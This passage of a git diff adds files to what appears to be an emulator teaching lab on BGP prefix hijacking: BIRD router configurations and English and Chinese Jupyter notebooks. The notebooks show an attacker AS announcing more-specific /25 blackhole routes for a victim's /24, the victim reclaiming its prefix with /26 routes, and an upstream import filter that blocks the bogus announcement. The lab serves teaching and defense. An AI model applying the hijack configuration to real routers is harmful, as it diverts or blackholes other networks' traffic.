}; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.199 as 199; + neighbor 10.105.0.2 as 2; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + +############################################## +# Added BGP Attack +# Hijack AS153's network prefix 10.153.0/24 +############################################## + +protocol static { + ipv4 { table t_bgp; }; + route 10.153.0.0/25 blackhole { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.128/25 blackhole { + bgp_large_community.add(LOCAL_COMM); + }; +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as199brd_bird.conf_original b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as199brd_bird.conf_original new file mode 100644 index 000000000..d6d08d5d1 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as199brd_bird.conf_original @@ -0,0 +1,72 @@ +router id 10.0.0.28; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (199, 0, 0); +define CUSTOMER_COMM = (199, 1, 0); +define PEER_COMM = (199, 2, 0); +define PROVIDER_COMM = (199, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as2 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.199 as 199; + neighbor 10.105.0.2 as 2; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as2brd-r105_bird.conf_fixproblem b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as2brd-r105_bird.conf_fixproblem new file mode 100644 index 000000000..68a625cbb --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as2brd-r105_bird.conf_fixproblem @@ -0,0 +1,117 @@ +router id 10.0.0.4; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net_100_105"; + +} +define LOCAL_COMM = (2, 0, 0); +define CUSTOMER_COMM = (2, 1, 0); +define PEER_COMM = (2, 2, 0); +define PROVIDER_COMM = (2, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp p_rs105 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PEER_COMM); + bgp_local_pref = 20; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.2 as 2; + neighbor 10.105.0.105 as 105; +} +protocol bgp c_as199 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + if (net != 10.199.0.0/24) then reject; # Added to fix the problem + accept; + }; + export all; + next hop self; + }; + local 10.105.0.2 as 2; + neighbor 10.105.0.199 as 199; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net_100_105" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} +protocol bgp ibgp1 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.1 as 2; +} +protocol bgp ibgp2 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.2 as 2; +} +protocol bgp ibgp3 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.3 as 2; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as2brd-r105_bird.conf_original b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as2brd-r105_bird.conf_original new file mode 100644 index 000000000..5c0bf4395 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as2brd-r105_bird.conf_original @@ -0,0 +1,116 @@ +router id 10.0.0.4; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net_100_105"; + +} +define LOCAL_COMM = (2, 0, 0); +define CUSTOMER_COMM = (2, 1, 0); +define PEER_COMM = (2, 2, 0); +define PROVIDER_COMM = (2, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp p_rs105 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PEER_COMM); + bgp_local_pref = 20; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.2 as 2; + neighbor 10.105.0.105 as 105; +} +protocol bgp c_as199 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + accept; + }; + export all; + next hop self; + }; + local 10.105.0.2 as 2; + neighbor 10.105.0.199 as 199; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net_100_105" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} +protocol bgp ibgp1 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.1 as 2; +} +protocol bgp ibgp2 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.2 as 2; +} +protocol bgp ibgp3 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.3 as 2; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_attack.ipynb b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_attack.ipynb new file mode 100644 index 000000000..f10f69107 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_attack.ipynb @@ -0,0 +1,314 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "c7c3200f-cd40-4986-b1c3-cb9432bc8b1e", + "metadata": {}, + "source": [ + "# BGP Prefix Hijacking Attack" + ] + }, + { + "cell_type": "markdown", + "id": "550306c9-42a0-4671-b72c-f0a302171b51", + "metadata": {}, + "source": [ + "## Environment Setup\n", + "\n", + "First, let us run the emulator. \n", + "\n", + "In this lab, we use AS-199 to hijact AS-153's IP prefix `10.153.0.0/24`. To help observe the attack effect, we first ping one of the AS-153's machine. On the Internet Map, we should be able to see how the packets flow (type in `icmp` in the `Filter` field, followed by a return)." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f0fcaf62-fe43-4cbc-9271-59678efb1155", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash --bg\n", + "docker exec as151h-host_0-10.151.0.71 ping 10.153.0.71" + ] + }, + { + "cell_type": "markdown", + "id": "488c08d5-11b1-4f64-afe6-70004ace09bf", + "metadata": {}, + "source": [ + "## 1. Hijack AS-153\n", + "\n", + "Step 1: The attacker is AS-199, so we first get AS-199's BGP configuration file, and make the corresponding changes. We can use the following command to get the configuration file." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5cea8958-4fd3-4a7f-955b-c990cd5a48e5", + "metadata": {}, + "outputs": [], + "source": [ + "!docker cp as199brd-attacker-bgp-10.199.0.254:/etc/bird/bird.conf ./as199_bird.conf" + ] + }, + { + "cell_type": "markdown", + "id": "1a1d9c2d-4a77-4c24-9846-b08343e6bd38", + "metadata": {}, + "source": [ + "Step 2: We add the following content to AS-199's BGP configuration file. " + ] + }, + { + "cell_type": "markdown", + "id": "fb8d0597-6ce9-4d63-9528-b059f4469f58", + "metadata": {}, + "source": [ + "```\n", + "##############################################\n", + "# Added BGP Attack\n", + "# Hijack AS153's network prefix 10.153.0/24\n", + "##############################################\n", + "\n", + "protocol static {\n", + " ipv4 { table t_bgp; };\n", + " route 10.153.0.0/25 blackhole {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.128/25 blackhole {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + "}\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "1f159bd9-570d-462a-bc42-106f5b891741", + "metadata": {}, + "source": [ + "Step 3: After finishing editing the configuration file, we copy the file back to AS-199's BGProuter, and then restart the BGP deamon for the changes to take effect. For the sake of convenience, we have already placed the modified configration in `as199brd_bird.conf_malicious`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c90eb559-b571-499f-914f-0219712342fa", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as199brd_bird.conf_malicious as199brd-attacker-bgp-10.199.0.254:/etc/bird/bird.conf\n", + "docker exec as199brd-attacker-bgp-10.199.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "75fa08d8-e9d2-4af6-96ba-f21725823f0a", + "metadata": {}, + "source": [ + "Step 4: From the Internet Map, we can see that the packet flow has changed, they are now going to AS-199. When we `ping 10.153.0.71` from any machine, we won't be able to get any response. Let us take a look at the router on `as3brd-r103-10.103.0.3` (this BGP router belongs to AS-3, which is a transit autonomous system). We can see that AS-153 has three records in the rounting table. The two entries `10.153.0.0/25` and `10.153.0.128/25` completely cover `10.153.0.0/24`。From the routing entries, we can see that the next-hop router for the `10.153.0.0/25` and `10.153.0.128/25` networks is `10.3.0.254`, while the next-hop router for the `10.153.0.0/24` network is `10.3.3.253`. They are going to different directions. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "26ded91b-79f1-44c9-b493-1bb4d22ca6b8", + "metadata": {}, + "outputs": [], + "source": [ + "!docker exec as3brd-r103-10.103.0.3 ip route" + ] + }, + { + "cell_type": "markdown", + "id": "6a4d06ba-1423-42bf-a41b-b1f64854801b", + "metadata": {}, + "source": [ + "## 2. AS-153's fightback" + ] + }, + { + "cell_type": "markdown", + "id": "ad994221-fcbb-46bb-9702-538dd3727f43", + "metadata": {}, + "source": [ + "Step 1:AS-153 can use the same technique to \"hijack\" its IP prefix back. It only needs to set the following entries in its BGP configuration file (also restarting the BGP daemon).\n", + "\n", + "```\n", + "#########################################\n", + "# Added for BGP Attack\n", + "# Fight back\n", + "#########################################\n", + "\n", + "protocol static {\n", + " ipv4 { table t_bgp; };\n", + " route 10.153.0.0/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.64/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.128/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.192/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + "}\n", + "\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "02f6447f-d31e-449e-96ac-e582b1332a7c", + "metadata": {}, + "source": [ + "Step 2: We have already put the modified configuration in `as153brd_bird.conf_fightback`. We only need to copy it to AS-153's BGP router. After running the following commands, we should be able to see that the packet flow changes back to its original path, flowing to AS-153 now." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "45708418-b20d-4de9-a55d-9de9e4e1d6dc", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153brd_bird.conf_fightback as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "97c29273-12d5-4af6-8ebb-bfcca5a2ec32", + "metadata": {}, + "source": [ + "## 3. Let AS-199's up-stream provider solve the problem" + ] + }, + { + "cell_type": "markdown", + "id": "48d12f6d-9ca1-44af-8f17-2d67fc3238da", + "metadata": {}, + "source": [ + "Step 1: Before doing this task, we first restore AS-153's configuration, so the attack is still in effect. We want to ask AS-199's up-stream provider to solve this problem. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "72df0c9d-9fca-4e41-b7ae-da6c0ff3d207", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153brd_bird.conf_original as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "85df351e-b883-4574-aabf-b0e8ccb8f801", + "metadata": {}, + "source": [ + "Step 2: Let's find out who AS-199's up-stream service provider is. We run the following command to ask AS-199's BGP router to provide information." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "be755bed-b127-43c9-9f96-f9e8764d77c0", + "metadata": {}, + "outputs": [], + "source": [ + "!docker exec as199brd-router0-10.199.0.254 birdc show protocols" + ] + }, + { + "cell_type": "markdown", + "id": "9c3cf28f-a847-45b5-b2e4-4c2b7829398c", + "metadata": {}, + "source": [ + "From the result, we can see only one BGP session, which is `u_as2`; this is AS-2. This autonomous system has multiple BGP routers. From the Internet Map, we can see that AS-199 and AS-2 peer at IX-105. We can find the container name for the corresponding BGP router (`as2brd-r105-10.105.0.2`)." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "58e51d16-b827-42e3-a5bf-27c6c151d9ab", + "metadata": {}, + "outputs": [], + "source": [ + "!docker ps | grep as2" + ] + }, + { + "cell_type": "markdown", + "id": "3856f1aa-b336-4a5d-a1fe-caf36c2637e9", + "metadata": {}, + "source": [ + "Step 3: We can get `as2brd-r105-10.105.0.2`'s BGP configuration file. We add one line to it (see the line with the comment). This line checks whether the IP prefix in AS-199's BGP announcement is `10.199.0.0/24` or not, if not, reject the BGP announcement.\n", + "```\n", + "protocol bgp c_as199 {\n", + " ipv4 {\n", + " table t_bgp;\n", + " import filter {\n", + " bgp_large_community.add(CUSTOMER_COMM);\n", + " bgp_local_pref = 30;\n", + " if (net != 10.199.0.0/24) then reject; ### Block this BGP announcement \n", + " accept;\n", + " };\n", + " export all;\n", + " next hop self;\n", + " };\n", + " local 10.105.0.2 as 2;\n", + " neighbor 10.105.0.199 as 199;\n", + "}\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "be9f6b39-750a-4825-9b6e-d95c92b1ed6d", + "metadata": {}, + "source": [ + "Step 4: Let's copy the modified BGP file back to `as2brd-r105-10.105.0.2`. We have already saved the modified configuration in `as2brd-r105_bird.conf_fixproblem`. Run the following command, we should be able to see that the packet flow is restored, now going to AS-153 again. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f4850a7b-f808-4840-9aa9-0980f5d8163b", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as2brd-r105_bird.conf_fixproblem as2brd-r105-10.105.0.2:/etc/bird/bird.conf\n", + "docker exec as2brd-r105-10.105.0.2 birdc configure" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.16" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_attack_cn.ipynb b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_attack_cn.ipynb new file mode 100644 index 000000000..fd3a1cc5c --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_attack_cn.ipynb @@ -0,0 +1,314 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "c7c3200f-cd40-4986-b1c3-cb9432bc8b1e", + "metadata": {}, + "source": [ + "# BGP 网络前缀劫持攻击" + ] + }, + { + "cell_type": "markdown", + "id": "550306c9-42a0-4671-b72c-f0a302171b51", + "metadata": {}, + "source": [ + "## 设置环境\n", + "\n", + "首先我们需要把仿真器运行起来。\n", + "\n", + "在这个实验中,我们用 AS-199 来劫持 AS-153 的 IP 前缀(`10.153.0.0/24`)。为了帮助观察 BGP 劫持的效果,我们先从一台机器上发包给 AS-153 的机器。在 Internet Map 上我们应该可以看到数据包的流动(在 Filter 栏填入 `icmp`,加回车):" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f0fcaf62-fe43-4cbc-9271-59678efb1155", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash --bg\n", + "docker exec as151h-host_0-10.151.0.71 ping 10.153.0.71" + ] + }, + { + "cell_type": "markdown", + "id": "488c08d5-11b1-4f64-afe6-70004ace09bf", + "metadata": {}, + "source": [ + "## 1. 劫持 AS-153\n", + "\n", + "第一步:攻击者是 AS-199, 所以我们先获取 AS-199 的 BGP 配置文件,对其进行修改。可以通过下面的命令从仿真器里获得配置文件。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5cea8958-4fd3-4a7f-955b-c990cd5a48e5", + "metadata": {}, + "outputs": [], + "source": [ + "!docker cp as199brd-attacker-bgp-10.199.0.254:/etc/bird/bird.conf ./as199_bird.conf" + ] + }, + { + "cell_type": "markdown", + "id": "1a1d9c2d-4a77-4c24-9846-b08343e6bd38", + "metadata": {}, + "source": [ + "第二步:我们将下面的配置内容加到 AS-199 的 BGP 配置文件的最后。这些配置对 `10.153.0.0/24` 网络进行了劫持" + ] + }, + { + "cell_type": "markdown", + "id": "fb8d0597-6ce9-4d63-9528-b059f4469f58", + "metadata": {}, + "source": [ + "```\n", + "##############################################\n", + "# Added BGP Attack\n", + "# Hijack AS153's network prefix 10.153.0/24\n", + "##############################################\n", + "\n", + "protocol static {\n", + " ipv4 { table t_bgp; };\n", + " route 10.153.0.0/25 blackhole {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.128/25 blackhole {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + "}\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "1f159bd9-570d-462a-bc42-106f5b891741", + "metadata": {}, + "source": [ + "第三步:完成了上面的修改后将改过后的 BGP 配置文件拷贝回 AS-199,然后重启 AS-199 的 BGP 守护进程。我们把修改过的配置文件放在了 `as199brd_bird.conf_malicious` 中。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c90eb559-b571-499f-914f-0219712342fa", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as199brd_bird.conf_malicious as199brd-attacker-bgp-10.199.0.254:/etc/bird/bird.conf\n", + "docker exec as199brd-attacker-bgp-10.199.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "75fa08d8-e9d2-4af6-96ba-f21725823f0a", + "metadata": {}, + "source": [ + "第四步:从 Internet Map 上我们可以看到数据包的流向改变了,流向了 AS-199。现在在任何一台机器是 `ping 10.153.0.71`, 都会发现没有回复。我们可以去看一下 `as3brd-r103-10.103.0.3` 上的路由(这是一个 transit 自治系统),我们可以看到网络 AS-153 的网络有 3 个记录,其中 `10.153.0.0/25` 和 `10.153.0.128/25` 完全覆盖了 `10.153.0.0/24`。从记录可以看出,去往前两个地址的下一跳路由(`10.3.0.254`)和去往 `10.153.0.0/24` 的下一跳路由(`10.3.3.253`)是不一样的,这说明去往 AS-153 的包改道了。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "26ded91b-79f1-44c9-b493-1bb4d22ca6b8", + "metadata": {}, + "outputs": [], + "source": [ + "!docker exec as3brd-r103-10.103.0.3 ip route" + ] + }, + { + "cell_type": "markdown", + "id": "6a4d06ba-1423-42bf-a41b-b1f64854801b", + "metadata": {}, + "source": [ + "## 2. AS-153 的反击" + ] + }, + { + "cell_type": "markdown", + "id": "ad994221-fcbb-46bb-9702-538dd3727f43", + "metadata": {}, + "source": [ + "第一步:AS-153 可以用同样的方法将自己的网络劫持回来。只要在自己的 BGP 配置文件中加入下面的内容即可,然后重启 BGP 守护进程。\n", + "\n", + "```\n", + "#########################################\n", + "# Added for BGP Attack\n", + "# Fight back\n", + "#########################################\n", + "\n", + "protocol static {\n", + " ipv4 { table t_bgp; };\n", + " route 10.153.0.0/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.64/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.128/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.192/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + "}\n", + "\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "02f6447f-d31e-449e-96ac-e582b1332a7c", + "metadata": {}, + "source": [ + "第二步:我们已经将修改过的配置放在了 `as153brd_bird.conf_fightback` 中,只要把它拷贝回 AS-153 的容器就可以。运行完下面的命令后,从 Internet Map 上我们可以看到数据包的流向改变了,重新流向了 AS-153。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "45708418-b20d-4de9-a55d-9de9e4e1d6dc", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153brd_bird.conf_fightback as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "97c29273-12d5-4af6-8ebb-bfcca5a2ec32", + "metadata": {}, + "source": [ + "## 3. 让 AS-199 的上游服务商来解决问题" + ] + }, + { + "cell_type": "markdown", + "id": "48d12f6d-9ca1-44af-8f17-2d67fc3238da", + "metadata": {}, + "source": [ + "第一步:在做这个任务之前,我们先恢复 AS-153 的配置,这样攻击仍然有效,我们就可以让上游服务商来解决这个问题。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "72df0c9d-9fca-4e41-b7ae-da6c0ff3d207", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153brd_bird.conf_original as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "85df351e-b883-4574-aabf-b0e8ccb8f801", + "metadata": {}, + "source": [ + "第二步:我们先来看一下 AS-199 的上游服务商是谁。下面的命令在 AS-199 的 BGP 路由器向 BGP 的守护进程 `bird` 查询信息。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "be755bed-b127-43c9-9f96-f9e8764d77c0", + "metadata": {}, + "outputs": [], + "source": [ + "!docker exec as199brd-router0-10.199.0.254 birdc show protocols" + ] + }, + { + "cell_type": "markdown", + "id": "9c3cf28f-a847-45b5-b2e4-4c2b7829398c", + "metadata": {}, + "source": [ + "从结果我们可以看到只有一个 BGP session(第2列),也就是 `u_as2`,这是 AS-2。这个自治系统在多处有 BGP 路由器,从 Internet Map 上可以看到,AS-199 和 AS-2 是在 IX-105 进行的对待连接(peering)。我们可以找到相应的容器的名字(`as2brd-r105-10.105.0.2`):" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "58e51d16-b827-42e3-a5bf-27c6c151d9ab", + "metadata": {}, + "outputs": [], + "source": [ + "!docker ps | grep as2" + ] + }, + { + "cell_type": "markdown", + "id": "3856f1aa-b336-4a5d-a1fe-caf36c2637e9", + "metadata": {}, + "source": [ + "第三步:我们可以获取 `as2brd-r105-10.105.0.2` 的 BGP 配置文件,加入一行到它和 AS-199 的配置里(见下面的带注释的行)。这行判断 AS-199 对外 announce 的网络前缀是否是 `10.199.0.0/24`,如果不是的话就拒绝接受这个 BGP announcement。\n", + "```\n", + "protocol bgp c_as199 {\n", + " ipv4 {\n", + " table t_bgp;\n", + " import filter {\n", + " bgp_large_community.add(CUSTOMER_COMM);\n", + " bgp_local_pref = 30;\n", + " if (net != 10.199.0.0/24) then reject; ### 阻挡伪造的 BGP announcement \n", + " accept;\n", + " };\n", + " export all;\n", + " next hop self;\n", + " };\n", + " local 10.105.0.2 as 2;\n", + " neighbor 10.105.0.199 as 199;\n", + "}\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "be9f6b39-750a-4825-9b6e-d95c92b1ed6d", + "metadata": {}, + "source": [ + "第四步:把修改过的 BGP 配置文件传回 `as2brd-r105-10.105.0.2`。我们修改过的文件是 `as2brd-r105_bird.conf_fixproblem`。运行完下面的命令,从 Internet Map 上我们可以看到数据包的流向改变了,重新流向了 AS-153。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f4850a7b-f808-4840-9aa9-0980f5d8163b", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as2brd-r105_bird.conf_fixproblem as2brd-r105-10.105.0.2:/etc/bird/bird.conf\n", + "docker exec as2brd-r105-10.105.0.2 birdc configure" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.16" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_restore.ipynb b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_restore.ipynb new file mode 100644 index 000000000..4a7e078bf --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_restore.ipynb @@ -0,0 +1,103 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "ad6e0a93-3e30-4cb1-af45-d63dbb7a1565", + "metadata": {}, + "source": [ + "# Restore BGP configuration\n", + "\n", + "Here we list the commands for restoring the BGP configuration for AS-199, AS-153,and AS-2." + ] + }, + { + "cell_type": "markdown", + "id": "df69ba48-dbc8-4f73-b8df-b079f561ab3e", + "metadata": {}, + "source": [ + "## Restore AS-199's BGP configuration" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5a88417e-5686-4ec5-8741-10fed6d9fe3f", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as199brd_bird.conf_original as199brd-attacker-bgp-10.199.0.254:/etc/bird/bird.conf\n", + "docker exec as199brd-attacker-bgp-10.199.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "7e12feea-bfd2-4ae2-b0cb-59ad565fc0ce", + "metadata": {}, + "source": [ + "## Restore AS-153's BGP configuration" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e48ed8a8-afe1-466f-a292-972ca599bcc8", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153brd_bird.conf_original as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "0a9d4476-ee41-4711-ba7b-84b6930b49fb", + "metadata": {}, + "source": [ + "## Restore AS-2's BGP configuration" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "239005cf-7176-4dc8-b297-f78b7c3c7f55", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as2brd-r105_bird.conf_original as2brd-r105-10.105.0.2:/etc/bird/bird.conf\n", + "docker exec as2brd-r105-10.105.0.2 birdc configure" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "970893af-13ac-48e5-963b-87aea0abf586", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.16" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_restore_cn.ipynb b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_restore_cn.ipynb new file mode 100644 index 000000000..fe5baa6ea --- /dev/null +++ 